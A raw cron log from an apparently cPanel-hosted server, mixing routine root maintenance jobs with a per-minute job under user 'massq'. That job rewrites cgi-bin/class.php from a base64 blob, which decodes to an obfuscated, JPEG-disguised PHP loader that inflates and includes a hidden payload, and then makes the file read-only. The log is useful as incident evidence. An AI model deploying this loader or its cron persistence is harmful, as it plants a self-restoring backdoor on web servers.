Sep  5 17:34:01 server CROND[25463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:34:01 server CROND[25464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:35:01 server CROND[25837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:35:01 server CROND[25839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:35:01 server CROND[25843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:35:01 server CROND[25849]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 17:35:01 server CROND[25852]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 17:35:01 server CROND[25848]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:35:01 server CROND[25853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:35:01 server CROND[25851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:35:01 server CROND[25850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:36:01 server CROND[26665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:36:01 server CROND[26666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:36:01 server CROND[26667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:37:01 server CROND[27050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:37:01 server CROND[27051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:37:01 server CROND[27052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:38:01 server CROND[27523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:38:01 server CROND[27524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:38:01 server CROND[27525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:39:01 server CROND[27893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:39:01 server CROND[27894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:39:01 server CROND[27895]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 17:39:01 server CROND[27896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:40:01 server CROND[28278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:40:01 server CROND[28279]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:40:01 server CROND[28283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:40:01 server CROND[28287]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:40:01 server CROND[28284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:40:01 server CROND[28285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:40:01 server CROND[28289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:40:01 server CROND[28292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:41:01 server CROND[29106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:41:01 server CROND[29107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:41:01 server CROND[29108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:42:01 server CROND[29482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:42:01 server CROND[29483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:42:01 server CROND[29484]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 17:42:01 server CROND[29485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:43:01 server CROND[29951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:43:01 server CROND[29950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:43:01 server CROND[29952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:44:01 server CROND[30332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:44:01 server CROND[30333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:44:01 server CROND[30334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:45:01 server CROND[30705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:45:01 server CROND[30706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:45:01 server CROND[30708]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:45:02 server CROND[30707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:45:02 server CROND[30715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
